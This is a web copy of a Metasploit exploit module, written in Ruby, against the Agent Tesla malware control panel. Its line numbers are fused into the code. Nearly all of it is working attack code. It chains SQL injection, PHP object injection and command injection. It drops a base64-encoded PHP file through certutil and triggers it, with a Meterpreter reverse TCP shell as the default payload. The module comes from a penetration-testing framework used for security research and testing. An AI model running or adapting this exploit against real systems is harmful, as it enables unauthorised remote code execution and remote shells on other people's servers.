Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/http/agent_tesla_panel_rce.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::FileDropper10prepend Msf::Exploit::Remote::AutoCheck1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Agent Tesla Panel Remote Code Execution',17'Description' => %q{18This module exploits a command injection vulnerability within the Agent Tesla control panel,19in combination with an SQL injection vulnerability and a PHP object injection vulnerability, to gain20remote code execution on affected hosts.2122Panel versions released prior to Sepetember 12, 2018 can be exploited by unauthenticated attackers to23gain remote code execution as user running the web server. Agent Tesla panels released on or after24this date can still be exploited however, provided that attackers have valid credentials for the25Agent Tesla control panel.2627Note that this module presently only fully supports Windows hosts running Agent Tesla on the WAMP stack.28Support for Linux may be added in a future update, but could not be confirmed during testing.29},30'Author' => [31'Ege Balcı <[email protected]>', # discovery and independent module32'mekhalleh (RAMELLA Sébastien)', # Added windows targeting and authenticated RCE33'gwillcox-r7' # Multiple edits to finish porting the exploit over to Metasploit34],35'References' => [36['EDB', '47256'], # Original PoC and Metasploit module37['URL', 'https://github.com/mekhalleh/agent_tesla_panel_rce/tree/master/resources'], # Agent-Tesla WebPanel's available for download38['URL', 'https://www.pirates.re/agent-tesla-remote-command-execution-(fighting-the-webpanel)'], # Writeup in French on this module and its surrounding research.39['URL', 'https://krebsonsecurity.com/2018/10/who-is-agent-tesla/'] # Background info on Agent Tesla40],41'DisclosureDate' => '2019-08-14', # Date of first PoC for this module, not aware of anything prior to this.42'License' => MSF_LICENSE,43'Platform' => ['php'],44'Arch' => [ARCH_PHP],45'Privileged' => false,46'Targets' => [47[48'Automatic (PHP-Dropper)', {49'Platform' => 'php',50'Arch' => [ARCH_PHP],51'Type' => :php_dropper,52'DefaultOptions' => {53'PAYLOAD' => 'php/meterpreter/reverse_tcp',54'DisablePayloadHandler' => 'false'55}56}57],58],59'DefaultTarget' => 0,60'Notes' => {61'Stability' => [CRASH_SAFE],62'Reliability' => [REPEATABLE_SESSION],63'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]64}65)66)6768register_options([69OptString.new('PASSWORD', [false, 'The Agent Tesla CnC password to authenticate with', nil]),70OptString.new('TARGETURI', [true, 'The URI where the Agent Tesla CnC panel is located on the target', '/WebPanel/']),71OptString.new('USERNAME', [false, 'The Agent Tesla CnC username to authenticate with', nil])72])73end7475def os_get_name76response = parse_response(execute_command('echo $PATH'))7778## Not linux, check Windows.79response = parse_response(execute_command('echo %PATH%')) if response.include?('$PATH')8081os_name = ''82if response =~ %r{^/}83os_name = 'linux'84elsif response =~ /^[a-zA-Z]:\\/85os_name = 'windows'86end8788os_name89end9091def parse_response(js)92return '' unless js9394begin95return js.get_json_document['data'][0].values.join96rescue NoMethodError97return ''98end99return ''100end101102def execute_command(command, _opts = {})103junk = rand(1_000)104sql_prefix = Rex::Text.to_rand_case("#{junk} LIKE #{junk} UNION SELECT ")105requested_payload = {106'table' => 'passwords',107'primary' => 'HWID',108'clmns' => 'a:1:{i:0;a:3:{s:2:"db";s:4:"HWID";s:2:"dt";s:4:"HWID";s:9:"formatter";s:4:"exec";}}',109'where' => Rex::Text.encode_base64("#{sql_prefix}\"#{command}\"")110}111cookie = auth_get_cookie112113request = {114'method' => 'GET',115'uri' => normalize_uri(target_uri.path, 'server_side', 'scripts', 'server_processing.php')116}117request = request.merge({ 'cookie' => cookie }) if cookie != :not_auth118request = request.merge({119'encode_params' => true,120'vars_get' => requested_payload121})122123response = send_request_cgi(request)124return false unless response125126return response if response.body127128false129end130131def auth_get_cookie132if datastore['USERNAME'] && datastore['PASSWORD']133response = send_request_cgi(134'method' => 'POST',135'uri' => normalize_uri(target_uri.path, 'login.php'),136'vars_post' => {137'Username' => datastore['USERNAME'],138'Password' => datastore['PASSWORD']139}140)141return :not_auth unless response142143return response.get_cookies if response.redirect? && response.headers['location'] =~ /index.php/144end145146:not_auth147end148149def check150# check for login credentials couple.151if datastore['USERNAME'] && datastore['PASSWORD'].nil?152fail_with(Failure::BadConfig, 'The USERNAME option is defined but PASSWORD is not, please set PASSWORD.')153end154155if datastore['PASSWORD'] && datastore['USERNAME'].nil?156fail_with(Failure::BadConfig, 'The PASSWORD option is defined but USERNAME is not, please set USERNAME.')157end158159response = send_request_cgi(160'method' => 'GET',161'uri' => normalize_uri(target_uri.path, 'server_side', 'scripts', 'server_processing.php')162)163164if response165if response.redirect? && response.headers['location'] =~ /login.php/ && !(datastore['USERNAME'] && datastore['PASSWORD'])166print_warning('Unauthenticated RCE can\'t be exploited, retry if you gain CnC credentials.')167return Exploit::CheckCode::Unknown168end169170rand_str = Rex::Text.rand_text_alpha(8..16)171cmd_output = parse_response(execute_command("echo #{rand_str}"))172173return Exploit::CheckCode::Vulnerable if cmd_output.include?(rand_str)174end175176Exploit::CheckCode::Safe177end178179def exploit180os = os_get_name181unless os182print_bad('Could not determine the targeted operating system.')183return Msf::Exploit::Failed184end185print_status("Targeted operating system is: #{os}")186187file_name = ".#{Rex::Text.rand_text_alpha(10)}.php"188case os189when /linux/190fail_with(Failure::NoTarget, "This module currently doesn't support exploiting Linux targets!")191when /windows/192cmd = "echo #{Rex::Text.encode_base64(payload.encoded)} > #{file_name}.b64 & certutil -decode #{file_name}.b64 #{file_name} & del #{file_name}.b64"193end194print_status("Sending #{datastore['PAYLOAD']} command payload")195vprint_status("Generated command payload: #{cmd}")196197response = execute_command(cmd)198unless response && response.code == 200 && response.body.include?('command completed successfully')199fail_with(Failure::UnexpectedReply, 'Payload upload failed :(')200end201if os == 'windows'202panel_uri = datastore['TARGETURI'].gsub('/', '\\')203print_status("Payload uploaded as: #{file_name} to C:\\wamp64\\www\\#{panel_uri}\\server_side\\scripts\\#{file_name}")204register_file_for_cleanup("C:\\wamp64\\www\\#{panel_uri}\\server_side\\scripts\\#{file_name}")205else206fail_with(Failure::NoTarget, "This module currently doesn't support exploiting Linux targets! This error should never be hit!")207end208209# Triggering payload.210send_request_cgi({211'method' => 'GET',212'uri' => normalize_uri(target_uri.path, 'server_side', 'scripts', file_name)213}, 2.5)214end215end216217218